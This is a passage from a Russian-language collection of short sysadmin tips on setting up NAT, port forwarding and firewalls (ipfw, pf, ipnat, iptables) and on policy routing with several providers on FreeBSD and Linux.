        redirect_port tcp 192.168.4.86:9999 9999
    
       # этот кусок нужен что бы у машины был не полный нат а только порт который я разрешил, 
       # потому что вообще в интернет буду пускать через проксю.
       ipfw add 100 nat 123 tcp from 192.168.4.86 9999 to any
       ipfw add 100 nat 123 tcp from any to 192.168.4.86 9999
    
       # здесь я разрешаю клиенту с ip 192.168.4.86 коннектится к любым серверам по 25 порту, 
       # но только по нему.
       ipfw add 100 nat 123 tcp from 192.168.4.86 to any 25
    
       # это что бы был нат, иначе ничего не будет работать, правило для выпуска клиентов наружу
       ipfw add 100 nat 123 ip from any to 192.168.1.132
    
    
    Основанно на http://www.opennet.ru/tips/info/1618.shtml
    
     
    ----* Интернет-шлюз с использованием PF   Автор: vitalic  [комментарии]
     
    O пакетном фильтре (PF) написано довольно много статей. Вот и я хочу предложить
    свою реализацию Интернет-шлюза с
    использованием  PF. Раздача Интернета для локальной сети происходит через NAT и
    основана на Packet Tagging. Плюсом этого
    метода является то что упрощается настройка правил для FTP (ftp-proxy не
    используется), как для клиентов за шлюзом, так и для
    возможной публикации "внутреннего" ftp-сервера в мир.
    
    Для простоты приведу пример с 1 внешним и 1 внутренним интерфейсом. На шлюзе
    также запущен DNS-сервер. Пользователям
    локальной сети разрешен доступ на все порты без исключений по протоколам TCP,
    UDP, из ICMP разрешен только ping. В качестве
    ОС выступает FreeBSD7.0
    
    Для начала определим интерфейсы с помощью макросов
    
       ext_if="rl0"
       int_if="sk1"
    
       dns="ААА.ААА.ААА.ААА"
       lan="192.168.1.0/24"
    
       table <no_if> {BBB.BBB.BBB.BBB, 192.168.1.1, 127.0.0.1} persist
    
       set skip on lo
       set loginterface rl0
       set ruleset-optimization basic
       set block-policy return
       scrub in all no-df random-id
    
       ##### INET FOR LAN
    
       nat on $ext_if tag LAN_INET_NAT_TCP_UDP tagged LAN_INET_TCP_UDP -> $ext_if:0
       nat on $ext_if tag LAN_INET_NAT_ICMP tagged LAN_INET_ICMP -> $ext_if:0
    
       ######
    
       block in
       block out
       antispoof quick for { lo $int_if }
    
       ##############       EXT_IF_OUT
    
       pass out quick on $ext_if inet tagged LAN_INET_NAT_TCP_UDP
       pass out quick on $ext_if inet tagged LAN_INET_NAT_ICMP
       
       pass out quick on $ext_if inet proto {tcp udp} from $ext_if to $dns port = dns
    
       pass out quick on $ext_if inet proto icmp from $ext_if to any icmp-type echoreq
    
       ##############         EXT_IF_IN
    
       pass in quick on $ext_if inet proto tcp from any to $ext_if port = ssh synproxy state (max 10)
       pass in quick on $ext_if inet proto icmp from any to $ext_if icmp-type echoreq
    
       ##############   INT_IF_IN
    
       pass in quick on $int_if inet proto {tcp udp} from $lan to !<no_if> tag LAN_INET_TCP_UDP
       pass in quick on $int_if inet from $lan to $int_if
    
       pass in quick on $int_if inet proto icmp from $lan to !<no_if>  icmp-type echoreq tag LAN_INET_ICMP
       pass in quick on $int_if inet proto icmp from $lan to $int_if icmp-type echoreq
    
    
    
    Пояснения.
    
    Пришедшие на внутр. интерфейс пакеты "метятся". Метятся только те пакеты, у
    которых dst addr любой, кроме всех внутренних и
    внешних интерфейсов. Это необходимо, если есть несколько подсетей и вы не
    хотите, что бы кто-либо из одной сети мог
    подключится к висящему сервису на другом интерфейсе.
    
    Впринципе здесь можно  вместо  !<no_if> указать any.
    Весь исходящий трафик с сервера в "мир" (кроме ДНС) и локальную сеть блокируется.
    
    ААА.ААА.ААА.ААА - IP DNS-сервера провайдера.
    
     
    ----* ipfw nat во FreeBSD 7   Автор: Pikador  [комментарии]
     
    В конфигурацию ядра добавляем:
    
       options         IPFIREWALL              #firewall
       options         IPFIREWALL_VERBOSE      #enable logging to syslogd(8)
       options         IPFIREWALL_DEFAULT_TO_ACCEPT    #allow everything by default
       options         IPDIVERT
       options         IPFIREWALL_FORWARD
       options         DUMMYNET
       options         IPFIREWALL_NAT          #ipfw kernel nat support
       options         LIBALIAS
    
    в /etc/make.conf:
    
       CFLAGS+= -DIPFIREWALL_NAT
    
    Далее пересобираем систему:
    
       cd /usr/src/ ; make builworld && make kernel KERNCONF=YourKern &&  make installworld
       reboot
    
    В конфигурационном файле ipfw:
    
       NatIP="111.111.111.111"
       ipfw nat 123 config ip ${NatIP} log
       ipfw add 10 nat 123 ip from 192.168.0.0/16 to any
       ipfw add 20 nat 123 ip from any to ${NatIP}
    
    Наслаждаемся достоинствами kernel nat
    
     
    ----* Настройка работы ipnat под большой нагрузкой (доп. ссылка 1)   Автор: Антон Южанинов  [комментарии]
     
    Для работы ipnat под большой нагрузкой (много трансляций) нужно 
    перед сборкой ядра изменить в файле /usr/src/sys/contrib/ipfilter/netinet/ip_nat.h 
    
       #undefine LARGE_NAT
    
    на
     
       #define LARGE_NAT
    
     
    ----* Балансировка двух каналов средствами ipfw под FreeBSD   Автор: Ivan Voytas  [комментарии]
     
    natd -p 8668 -a ip1 
    natd -p 8669 -a ip2 
    
    ipfw add divert 8668 ip from any to ip1 recv if1 
    ipfw add divert 8669 ip from any to ip2 recv if2 
    ipfw add check-state 
    ipfw add prob 0.5 divert 8668 ip from 192.168.0.0/16 to any xmit if1 keep-state 
    ipfw add divert 8669 ip from 192.168.0.0/16 to any xmit if1 keep-state 
    ipfw add fwd gw1 ip from ip1 to any out xmit if1 (если default на if1) 
    ipfw add fwd gw2 ip from ip2 to any out xmit if1 
    
     
    ----* В двух словах про включение NAT и Firewall в ОС FreeBSD (доп. ссылка 1)   Автор: hub.ru  [комментарии]
     
    Что бы поднять NAT и Firewall на FreeBSD надо:
    
    Скомпилировать ядро:
    Следующие строки нужно включить в /usr/src/sys/i386/conf/GENERIC файл конфигурации:
    
       options IPFIREWALL
       options IPDIVERT
       options IPFIREWALL_VERBOSE
       options IPFIREWALL_VERBOSE_LIMIT=10
       options DUMMYNET
       options TCP_DROP_SYNFIN
    
    Переходим в директорию /usr/src/
       make buildkernel KERNCONF=GENERIC
       make installkernel KERNCONF=GENERIC
    
    Следующие строки можно к примеру включить в rc.conf файл конфигурации:
    
       hostname="free"
       ifconfig_rl0="10.0.0.1"
       gateway_enable="YES"
       firewall_enable="YES"
       firewall_type="open"
       natd_enable="YES"
       natd_interface="rl0"
       natd_flags="-redirect_port tcp 10.0.0.10:80 80"
       tcp_extensions="NO"
       tcp_drop_synfin="YES"
       icmp_drop_redirect="YES"
       sendmail_enable="NONE"
    
    Для удаленного управления нужно добавить следующую строку:
       sshd_enable="YES"
    (возможно понадобится скопировать /etc/ssh/ssh_host_dsa_key.pub в /root/.ssh/authorized_keys
    
    Следующие строки можно включить в rc.firewall файл конфигурации (секция "open"):
    
       [Oo][Pp][Ee][Nn])
       oif="rl0"
       iif="tx0"
       oip="132.5.7.172"
       iip="10.0.0.1"
       lan="10.0.0.0/24"
       setup_loopback
       # allow all for LAN
       ${fwcmd} add 500 pass all from ${lan} to ${iip} via ${iif}
       ${fwcmd} add 550 pass all from ${iip} to ${lan} via ${iif}
       # download - 60K upload - 6K for all lan ip's
       ${fwcmd} add 600 pipe 1 ip from any to any in via ${oif}
       ${fwcmd} add 650 pipe 2 ip from any to any out via ${oif}
       # for selected ip's only
       # ${fwcmd} add 601 pipe 1 all from any to 10.0.0.10
       # ${fwcmd} add 651 pipe 2 all from 10.0.0.10 to any
       ${fwcmd} pipe 1 config bw 512Kbit/s
       ${fwcmd} pipe 2 config bw 48Kbit/s
       # dns setup
       ${fwcmd} add 770 pass tcp from any to ${oip} 53 setup
       ${fwcmd} add 780 pass udp from any domain to any
       ${fwcmd} add 790 pass udp from any to any domain
       # main setup
       ${fwcmd} add 800 pass tcp from any http,https,20-21,989-990 to any
       ${fwcmd} add 810 pass tcp from any to any http,https,20-21,989-990
       ${fwcmd} add 830 pass tcp from any pop3,pop3s,smtp,imap,imaps,aol to any
       ${fwcmd} add 840 pass tcp from any to any pop3,pop3s,smtp,imap,imaps,aol
       ${fwcmd} add 65000 deny ip from any to any
       ;;
     
    Где oip, oif - внешний интерфейс; iip, iif - внутренний; lan - внутренняя сеть.
    
    Такая конфигурация ipfw весьма параноидальна, и здесь приведена только в качестве примера. 
    На практике обычно нужен более открытый фаервол. 
    
     
    ----* pf и трансляция адресов на двух интерфейсах   Автор: DelGod  [комментарии]
     
    Решение оптимизировано для шлюза на флешке (не используется perl и другие "тяжелые" решения)
    
    -------------------------
    /usr/local/etc/rc.d/openvpn.sh
    -------------------------
    
    #!/bin/sh
    
    . /etc/rc.subr
    
    name=openvpn
    rcvar=`set_rcvar`
    
    prefix="/usr/local"
    
    openvpn_precmd()
    {
            for i in $openvpn_if ; do
                    # FreeBSD <= 5.4 does not know kldstat's -m option
                    # FreeBSD >= 6.0 does not add debug.* sysctl information
                    # in the default build - we check both to keep things simple
                    if ! sysctl debug.if_${i}_debug >/dev/null 2>&1 \
                            && ! kldstat -m if_${i} >/dev/null 2>&1 ; then
                            if ! kldload if_${i} ; then
                                    warn "Could not load $i module."
                                    return 1
                            fi
                    fi
            done
            return 0
    }
    
    start_postcmd()
    {
            `/bin/cat /var/db/ukr_nets| /usr/bin/awk '{ if ($1) {system("route add "$1" 193.201.61.65 >/dev/null")} }'`
            /bin/sleep 10 && pfctl -F all -f /etc/pf.conf_openvpn
    }
    
    stop_postcmd()
    {
            `/bin/cat /var/db/ukr_nets| /usr/bin/awk '{ if ($1) {system("route delete "$1" 193.201.61.65 >/dev/null")} }'`
            pfctl -F all -f /etc/pf.conf
            rm -f "$pidfile" || warn "Could not remove $pidfile."
    }
    
    extra_commands="reload"
    pidfile="/var/run/${name}.pid"
    command="/usr/local/sbin/${name}"
    start_precmd="openvpn_precmd"
    start_postcmd="start_postcmd"
    stop_postcmd="stop_postcmd"
    
    load_rc_config ${name}
    : ${openvpn_enable="NO"}
    : ${openvpn_flags=""}
    : ${openvpn_if=""}
    : ${openvpn_configfile="${prefix}/etc/openvpn/openvpn.conf"}
    : ${openvpn_dir="${prefix}/etc/openvpn"}
    required_files="${openvpn_configfile}"
    command_args="--cd ${openvpn_dir} --daemon --config ${openvpn_configfile} --writepid ${pidfile}"
    run_rc_command "$1"
    
    -------------------------
    /etc/pf.conf
    -------------------------
    
    ext_if_t="rl0"
    int_if="rl1"
    table <users> persist { 192.168.1.0/24 }
    nat on $ext_if_t inet from <users> to any  -> $ext_if_t
    pass on $ext_if_t all
    pass on $int_if all
    
    -------------------------
    /etc/pf.conf_openvpn
    -------------------------
    
    ext_if_o="tap0"
    ext_if_t="rl0"
    int_if="rl1"
    table <users> persist { 192.168.1.0/24 }
    table <ukr> persist file "/var/db/ukr_nets"
    nat on $ext_if_t inet from <users> to <ukr>  -> $ext_if_t
    nat on $ext_if_o inet from <users> to !<ukr> -> $ext_if_o
    pass on $ext_if_o all
    pass on $ext_if_t all
    pass on $int_if all
    
    -------------------------
    cron:
    -------------------------
    
    0 0 * * * /usr/bin/fetch -q -o "/var/db/ukr_nets" 'http://www.colocall.net/ua/?list'
    
     
    ----* Проброс портов с двух различных gateway на внутренний сервер через IPNAT   Автор: Жека  [комментарии]
     
    Иногда необходимо пробросить порты с двух различных gateway GW1 и GW2 на один внутренний сервер, 
    у которого в качестве default GW указан GW1.
    Прямой проброс и NAT невозможен, т.к. пакеты пришедшие из GW2 попытаются
    вернуться по маршруту через GW1.
    Есть следующий выход, это двойной NAT на GW2, при котором запрос приходит не
    снаружи, а с внутреннего IP.
    
    ed0 - внешний интерфейс
    lnc0 - интерфейс смотрящий внутрь.
    
    в ipnat.rules нужно прописать следующее:
       map ed0 10.6.10.0/24 -> 0.0.0.0/32 мапим локалку наружу
       map lnc0 0.0.0.0/0 -> 0.0.0.0/32 ремап внешних ip в локальные
       rdr ed0 0.0.0.0/0 port 80 -> 10.6.10.2 port 80 tcp форвард на внутренний сервер
    
     
    ----* Пример настройки NAT для двух сетей в FreeBSD 5.3 (доп. ссылка 1)   Автор: Vov  [комментарии]
     
    Стоит задача - выпустить свою сеть в инет через два разных интерфейса rl1 и rl2.
    Так как адреса в локали серые, то надо поднимать NAT. С учетом того, что
    динамической маршрутизации
    не предвидится, будем поднимать NAT на 2 интерфейса. Для этого нужно:
    
    Скомпилировать ядро с параметрами:
        options IPFIREWALL
        options IPFIREWALL_VERBOSE
        options IPFIREWALL_VERBOSE_LIMIT=20
        options IPFIREWALL_FORWARD
        options IPDIVERT
        options DUMMYNET
        options TCP_DROP_SYNFIN
    это необходимый минимум. На все случаи жизни )))))
    
    Далее, в rc.local пишем такие строки:
        natd -p 8668 -n rl1
        natd -p 8669 -n rl2
        #natd -p 8671 -n rl3
        #natd -p 8672 -n rl4
        #natd -p 8673 -n rl5
    Последние три строки - если кому надо поднимать NAT на большее количество интерфейсов.
    
    Следующее - правила ipfw:
     
        ipfw -f add divert 8668 all from #твоясеть# to any out via rl1
        ipfw -f add divert 8668 all from any to #адрес_rl1# in via rl1
     
        ipfw -f add divert 8669 all from #твоясеть# to any out via rl2
        ipfw -f add divert 8669 all from any to #адрес_rl2# in via rl2
    
    Теперь все, что будет выходить через внешние интерфейсы, будет правильно NATиться через них же. 
    Остается проверить маршрутизацию. Если  маска на rl2 /24. В этом случае все просто. 
    Стандартный шлюз (default gateway) прописан через rl1, а все, что идет на сеть
    999.888.0.0/24 будет
    автоматически бежать через rl2. Если же на rl2 выделена подсетка из нескольких
    адресов, то тогда надо
    писать жесткий марщрут на всю сеть 999.888.0.0/24 через rl2 на тот шлюз,
    который тебе дал провайдер N2.
    Его тоже можно прописать в rc.local отдельной строкой типа:
        route add 999.888.0.0/24 999.888.0.25
    
    У Sergey2005 заработала комбинация:
        ${fwcmd} add 40 divert 8668 all from #моя сеть# to not #подсеть провайдера "S"# out via rl1
        ${fwcmd} add 45 divert 8668 all from not #подсеть провайдера "S"# to any in via rl1
    
        ${fwcmd} add 50 divert 8669 all from #моя сеть# to #подсеть провайдера "S"# out via rl2
        ${fwcmd} add 55 divert 8669 all from #подсеть провайдера "S"# to any in via rl2
    
        natd -p 8668 -m -u -n rl1
        natd -p 8669 -m -u -n rl2 
    
     
    ----* Особенности использование ftp из-за фаервола ipfw/natd   Автор: globus  [комментарии]
     
    Необходимо выпустить пользователей на ftp сайты из локальной сети, но при этом не устанавливая 
    дополнительного ПО, используя только возможности FreeBSD 4.10.
    Этими возможностями, как ни странно, оказались ipfw и natd 
    вот собственно как все это прописывается.
    
    Исходные данные, FreeBSD 4.10 + настроенный nat правила для ipfw 
       ipfw -q add 100 divert natd from 192.168.20.0/24 to any 20, 21 out via $oif 
       ipfw -q add 200 divert natd from any 20, 21 to $iip in via $oif 
       ipfw -q add 300 allow tcp from any to any established 
       ipfw -q add 400 allow tcp from any to any setup 
    где $oif и $iip соответственно внешний интерфейс и внешний IP 
    
    теперь запускаем natd 
       /sbin/natd -m -s -u -punch_fw 500:200 -n xl1
    
    заострю внимание на параметре "-punch_fw" -этот параметр создает в фаерволе "ходы", 
    добавляя динамические правила. В моем случае эти правила начнутся с номера 500
    и будет их добавлено
    максимум 200 (понятно чем больше сеть, те больше нужно правил).
    
    Особое спасибо A Clockwork Orange.
    
     
    ----* Как в FreeBSD перебросить соединение через NAT во внутреннюю сеть  (доп. ссылка 1)   Автор: spanka  [комментарии]
     
     Вот реализация для ipfw:
    if1IP="ип_смотрящий_в_инет", if1="интерфейс_смотрящий_в_инет"
    ifLIP="ип_на_который хотим делать редирект"
      ipfw add divert natd tcp from any to ${if1IP} 80 via ${if1}
      ipfw add divert natd ip from any to ${ifLIP} to any via ${if1}
      ipfw add allow tcp from any to ${if1IP} 80 via any
      natd -n ${if1} -redirect_port tcp ${ifLIP}:80 80
    
    Решение от miaso <torov@wipline.ru>:
      tproxy -s 80 -r nobody -l /var/log/transparent_proxy.log [int_ip] 80 
    
     
    ----* Как в Linux перебросить соединение через NAT во внутреннюю сеть (доп. ссылка 1)   Автор: Dimez  [комментарии]
     
    Первый путь - пробрасывание только порта:
      1) iptables -t nat -A PREROUTING -p tcp -d EXT_R_IP --dport 10000 -j DNAT --to-destination LOCAL_IP:80
      2) iptables -A FORWARD -i eth0 -d LOCAL_IP -p tcp --dport 22 -j ACCEPT
    
    Второй вариант - выброс всей машины наружу (если есть свободные адреса):
      1) ifconfig eth0:0 NEW_IP netmask NETMASK broadcast BROADCAST
      2) route add NEW_IP gw GW netmask 0.0.0.0 metric 1 dev eth0:0
      3) iptables -t nat -A PREROUTING -p tcp -d NEW_IP -j DNAT --to-destination LOCAL_IP
      4) iptables -A FORWARD -i eth0 -d LOCAL_IP -j ACCEPT
    
    Обозначения: EXT_R_IP - внешний IP роутера, LOCAL_IP - внутренний IP машины,
    которую хочешь выбросить
      NEW_IP - новый IP на который хочешь посадить машину, которая имеет локальный LOCAL_IP
      NETMASK, BROADCAST, GW - внешние netmask, broadcast и gateway
    
     
    ----* Пример настройки NAT с привязкой к IP под Linux   [комментарии]
     
    Пример настройки NAT с привязкой к IP под Linux
    
      iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -d 0/0 -o eth0 -j SNAT --to-source 212.23.98.45
    
    или (без привязки к IP)
    
      ipchains -A forward -j MASQ -s 192.168.0.0/16 -d 0.0.0.0/0
    или (через iproute2)
    
      ip rule add from 10.0.1.0/24 nat 254.147.38.14
    
    Другой способ трансляции адресов:
    
      iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -d 0/0 -j MASQUERADE
    
     
    ----* Как организовать редирект порта на внутреннюю машину через ipnat в FreeBSD.   [комментарии]
     
    man 5 ipnat  в /etc/ipnat.conf:
      rdr fxp0 205.15.63.3/32 port 80 -> 192.168.1.1 port 80 tcp
    # Базансировка нагрузки между 2 IP:
      rdr le0 203.1.2.3/32 port 80 -> 203.1.2.3,203.1.2.4 port 80 tcp round-robin
    
     
    ----* Как настроить NAT (транслятор адресов) для нормальной работы с FTP и ICQ в Linux   [комментарии]
     
    iptables:
       modprobe iptable_nat
       modprobe ip_conntrack_ftp
       modprobe ip_nat_ftp                     
       modprobe ip_nat_irc
    ipchains:
       modprobe ip_masq_ftp
       modprobe ip_masq_raudio
       modprobe ip_masq_irc
       modprobe ip_masq_icq
    
     
    ----* Как обеспечить работу active FTP режима в FreeBSD NAT   [обсудить]
     
    В ipnat воспользуйтесь модулем ftp proxy:
      map fxp0 0/0 -> 0/32 proxy port ftp ftp/tcp
      map rl0 172.16.33.0/24 -> 212.46.231.50/32 proxy port ftp ftp/tcp
    не забудьте поместить правило трансляции ftp перед общим правилом трансляции, 
    порядок следования правил важен.
    
     
    ----* Как запустить трансляцию адресов (NAT) под FreeBSD   [комментарии]
     
    В /etc/rc.conf: 
      ipnat_enable="YES"
    
    В /etc/ipnat.rules: 
    Трансляция адресов (NAT):
    
      map ppp0 172.16.1.0/24 -> 194.46.124.53/32
    
    где, ppp0 - внешний интерфейс, 
    172.16.1.0/24 - внутренние IP, 
    194.46.124.53 - реальный IP внешнего интерфейса.
    
    Переброс порта во внутреннюю сеть:
    
       rdr ed0 294.16.9.6/32 port 8080 -> 192.168.0.7 port 8080 tcp
    
    где, ed0 - внешний интерфейс, 
    294.16.9.6 - реальный IP внешнего интерфейса, на который нужно обращаться из вне.
    192.168.0.7 - внутренний IP на который делается переброс.
    8080  - номер перебрасываемого порта.
    
    
    Перечитать: ipnat -CF -f /etc/ipnat.rules
    
     

       Policy routing

    ----* Использование нескольких сетевых стеков в Linux   Автор: Roman Timofeev ( ^rage^ )  [комментарии]
     
    В linux относительно давно появилась такая замечательная вещь, как неймспейсы
    (namespaces). Основное применение данной технологии - контейнерная
    виртуализация, но и на маршрутизаторе можно придумать много разных применений,
    так как среди неймспейсов есть "network namespaces".
    
    Network namespaces позволяют в рамках одной машины в каждом неймспейсе иметь:
    
    
  • свой набор таблиц маршрутизации (а их 2^31-1 шт)
  • свою arp-таблицу
  • свои правила iptables
  • свои устройства (а значит и qdisc + class'ы tc) NB: для выполнения нижеследующих примеров крайне желательно иметь свежий iproute2 и ядро. Создаются неймспейсы достаточно скучно и просто: ip netns add VROUTER ip netns add KUKYSEVRACI Создадим "виртуальны шнурок": ip link add name ve0a type veth peer name ve0b Добавим интерфейсы внутрь VROUTER: ip link set dev eth0 netns VROUTER ip link set dev ve0b netns VROUTER Выполнить команду в контексте определённого неймспейса можно так: ip netns exec VROUTER ip link show Настроим адреса: ip netns exec VROUTER ip a a 192.168.1.1/24 dev ve0b ip a a 192.168.1.2/24 dev ve0a ip netns exec VROUTER ip a a 10.140.48.16/24 dev eth0 Поднимем интерфейсы: ip link set dev ve0a up ip netns exec VROUTER ip link set dev eth0 up ip netns exec VROUTER ip link set dev ve0b up Шлюз по умолчанию: ip netns exec VROUTER ip r a default via 10.140.48.1 Посмотрим, что получилось: root@laptus:~# ip netns exec VROUTER ip r s default via 10.140.48.1 dev eth0 10.140.48.0/24 dev eth0 proto kernel scope link src 10.140.48.16 192.168.1.0/24 dev ve0b proto kernel scope link src 192.168.1.1 Добавим NAT: ip netns exec VROUTER iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -j SNAT --to-source 10.140.48.16 Сделаем пару трейсов: root@laptus:~# ip netns exec VROUTER traceroute -q 1 -I opennet.ru traceroute to opennet.ru (77.234.201.242), 30 hops max, 60 byte packets 1 10.140.48.1 (10.140.48.1) 0.148 ms 2 10.140.0.1 (10.140.0.1) 0.245 ms 3 border.yournet.ru (91.204.148.17) 0.436 ms 4 alisa.yournet.ru (91.204.151.2) 0.521 ms 5 sev-gw.yournet.ru (91.204.148.2) 8.975 ms 6 bl16-1-gw.spb.runnet.ru (194.190.255.25) 1.321 ms 7 bl16-1-gw.spb.runnet.ru (194.85.40.170) 1.785 ms 8 s14-1-gw.spb.runnet.ru (194.85.40.81) 1.456 ms 9 vuztc.spb.runnet.ru (194.190.255.170) 1.987 ms 10 opennet.ru (77.234.201.242) 2.395 ms root@laptus:~# traceroute -q 1 -I opennet.ru traceroute to opennet.ru (77.234.201.242), 30 hops max, 60 byte packets 1 192.168.1.1 (192.168.1.1) 0.094 ms 2 10.140.48.1 (10.140.48.1) 0.751 ms 3 10.140.0.1 (10.140.0.1) 1.277 ms 4 border.yournet.ru (91.204.148.17) 2.061 ms 5 alisa.yournet.ru (91.204.151.2) 2.911 ms 6 sev-gw.yournet.ru (91.204.148.2) 6.770 ms 7 bl16-1-gw.spb.runnet.ru (194.190.255.25) 3.622 ms 8 bl16-1-gw.spb.runnet.ru (194.85.40.170) 5.262 ms 9 s14-1-gw.spb.runnet.ru (194.85.40.81) 4.135 ms 10 vuztc.spb.runnet.ru (194.190.255.170) 4.710 ms 11 opennet.ru (77.234.201.242) 7.220 ms
  •  
    ----* Перенаправление всего трафика через один шлюз в Fedora/Red Hat Linux   Автор: shadow_alone  [комментарии]
     
    При необходимости направить весь трафик с машины через шлюз, даже запросы к
    локальной сети, используем следующую конфигурацию сети (пример для Red
    Hat-совместимых дистрибутивов)
    
    /etc/sysconfig/network-scripts/ifcfg-eth0
    
       DEVICE=eth0
       BOOTPROTO=static
       BROADCAST=192.168.0.255
       IPADDR=192.168.0.100
       NETMASK=255.255.255.255
       SCOPE="peer 192.168.0.1"
       ONBOOT=yes
       
    /etc/sysconfig/network-scripts/route-eth0
    
       ADDRESS0=0.0.0.0
       NETMASK0=0.0.0.0
       GATEWAY0=192.168.0.1
    
    Теперь весь трафик от текущей машины будет ходить через шлюз 192.168.0.1, так как маска у нас /32.
    
     
    ----* Тонкости настройки Linux при подключении к двум и более провайдерам   Автор: Pavel V. Rochnyack  [комментарии]
     
    Подключение к интернет через нескольких провайдеров давно уже не редкость. 
    
    Раньше рассматриваемая тема называлась "линукс и два провайдера", но в
    суровой реальности провайдеров может быть и больше. 
    
    Также хочется вместо термина "провайдер" использовать "канал", поскольку
    некоторые люди путаются - "провайдер у меня один", а вот шлюзов (и
    адресов в различных подсетях) он предоставляет несколько (ну, так бывает
    нужно по разным мотивам). 
    
    Написано на эту тему также уже довольно много. Но есть что дополнить,
    поэтому приступим. 
    
    Вводная часть. 
    
    Итак, первое что требуется сделать для указания правил маршрутизации -
    это указать, к чему эти правила будут приводить. А приводить они должны
    к тому, что пакеты пойдут по разным шлюзам, такчто, вполне логично
    описать эти самые шлюзы. 
    
    Делается это с использованием набора пользовательских таблиц
    маршрутизации. Для удобства использования, им можно присваивать
    admin-friendly имена, что делается прописыванием строк в файл
    /etc/iproute2/rt_tables. Строки имеют вид 
    
    примерно такой: 
    
       100 northtelecom 
       101 southtelecom 
    
    Таблицы можно не именовать, а использовать во всех подкомандах команды
    ip безликие цифры, в этом случае ничего в файл rt_tables прописывать не
    потребуется. Также, часть документации таблицы именует именами вида
    "Т1", "Т2" что тоже, на мой взгляд, слабо удобно при просмотре правил. 
    
    Отлично, таблицы поименованы. Далее требуется указать шлюзы, на которые
    требуется отправлять трафик. 
    
    Обычно для этого прописывается пара команд в системный файл-скрипт,
    который отвечает за "подъем" маршрутизатора. 
    
    На PC-маршрутизаторе вполне можно для этих целей использовать
    непосредственно /etc/rc.local. Итак, команды указания маршрутов в
    интернет выглядят так: 
    
       ip route add default via northtelecom_gw table northtelecom 
       ip route add default via southtelecom_gw table southtelecom 
    
    Отлично! Мы создали две таблицы маршрутизации, внесли в них значения
    двух шлюзов для маршрутизации трафика. 
    
    Теперь эти таблицы надо начать применять. Обдуманное применение таблиц
    маршрутизации заключается в использовании команды "ip rule" и выглядит
    это примерно так: 
    
       ip rule add from northtelecom_ip lookup northtelecom 
       ip rule add from southtelecom_ip lookup southtelecom 
    
    На самом деле, это еще не совсем обдуманное применение, поскольку не
    указаны приоритеты правил (забегая вперед, уточним что они указываются
    использованием "ip rule add .... pref <priority>"). 
    
    Посмотрим на получившийся результат: 
    
       debian:~# ip ru 
       0: from all lookup local 
       32764: from southtelecom_ip lookup southtelecom 
       32765: from northtelecom_ip lookup northtelecom 
       32766: from all lookup main 
       32767: from all lookup default 
    
    Что означает полученный вывод ? 
    
    Он означает, что пакет при выборе пути к месту назначения будет сначала
    проверен правилом 0, который отправит поиск маршрута в таблицу "local".
    Просмотр таблицы "local" проводится на предмет "не является ли
    получателем" локальная машина, широковещательный или сетевой адреса
    интерфейсов маршрутизатора. Соответствующими маршрутами заполняют эту
    таблицу команды конфигурации сетевых интерфейсов. 
    
    Далее, пакет будет проверен нашими двумя правилами 32764 и 32765, на
    предмет адреса отправителя, и, в случае совпадения, будет отправлен в
    соответствующую таблицу маршрутизации. 
    
    Если адрес отправителя не совпадет с southtelecom_ip или
    northtelecom_ip, поиск маршрута пойдет с использованием таблицы "main",
    а таблица "default" (пока еще?) дистрибутивно чиста. Как вы могли
    заметить, если маршрут не будет найден в таблице, на которую поиск будет
    завернут правилом, то поиски-проверки будут продолжены со следующего
    правила. 
    
    Таблица "main" - это основная таблица, используемая по-умолчанию всеми
    командами-программами, связанными с маршрутизацией. При поднятии
    интерфейсов в неё прописываются маршруты к подсетям интерфейсов,
    стартовые скрипты также заносят в эту таблицу значение шлюза
    по-умолчанию. Использование команды "route add" администратором также
    может дополнить таблицу машрутами. В общем случае, таблица "main" всегда
    содержит подходящий для пакета маршрут (например шлюз по-умолчанию). 
    
    Закончим вводную часть и приступим к "первому сложному моменту". 
    
    Некоторые источники рекомендуют использовать еще и примерно такие
    команды при описании таблиц провайдеров: 
    
       ip route add northtelecom_net dev northtelecom_if src northtelecom_ip table northtelecom 
       ip route add southtelecom_net dev southtelecom_if src southtelecom_ip table southtelecom 
    
    Во-первых, хочется заметить что можно упростить команду, опустив
    уточнение "src northtelecom_ip", поскольку таблица будет выбираться
    путем сравнения IP-адреса отправителя пакета с некоторым значением, т.е.
    адрес уже будет задан. 
    
    А во-вторых, объясню более подробно, зачем нужны соответствующие маршруты. 
    
    Без дополнительной команды таблица northtelecom содержит следующие
    маршруты (да, пока, только один маршрут): 
    
       debian:~# ip ro sh table northtelecom 
       default via northtelecom_gw dev northtelecom_if 
    
    В этом случае, пакетик, который отправляется с адреса northtelecom_ip к
    одному из хостов в сети провайдера northtelecom будет послан не
    непосредственно к этому хосту, а отправлен на машрутизатор провайдера.
    Конечно же, лучше отправлять пакет непосредственно к хосту, для чего
    требуется соответствующее уточнение таблиц маршрутизации командами 
    
       ip route add northtelecom_net dev northtelecom_if table northtelecom 
       ip route add southtelecom_net dev southtelecom_if table southtelecom 
    
    Вроде бы всё здорово, пакеты в непосредственно присоединенные сети
    провайдеров идут напрямую к хостам. Но неужели у нас отсутствует
    локальная сеть ? Чаще всего она у нас есть. Но что же произойдет, если
    из локальной сети будет произведено обращение к одному из адресов
    northtelecom_ip или southtelecom_ip ? 
    
    Посмотрим еще раз на вывод команды "ip rule" 
    
    
       debian:~# ip ru 
       0: from all lookup local 
       32764: from southtelecom_ip lookup southtelecom 
       32765: from northtelecom_ip lookup northtelecom 
       32766: from all lookup main 
       32767: from all lookup default 
    
    В соответствии с правилами, маршрут отправки пакетов, исходящих с
    адресов northtelecom_ip или southtelecom_ip, будет производиться в
    таблицах northtelecom и southtelecom, что в конечном счете приведет к
    отправке пакета в сторону шлюза провайдера. Поскольку это слегка не то,
    что нам нужно, придется дополнить таблицы еще парочкой маршрутов. 
    
       ip route add local_net dev local_if table northtelecom 
       ip route add local_net dev local_if table southtelecom 
    
    А если у нас есть еще и внутренние маршрутизаторы, и подсетки, скрытые
    за ними, то всё аналогично, требуется добавление каждой подсетки в
    каждую таблицу провайдеров. 
    
       ip route add local_net2 via local_router2 table northtelecom 
       ip route add local_net3 via local_router2 table northtelecom 
       ip route add local_net2 via local_router2 table southtelecom 
       ip route add local_net3 via local_router2 table southtelecom 
    
    Много правил, много команд, легко запутаться, потерять, забыть что-то
    прописать ... Неужели нельзя проще ? 
    
    Как показывает практика, можно, но не всегда. 
    
    Легкий трюк, который в большинстве случаев помогает, выглядит так: 
    
       ip rule add lookup main pref 1000 
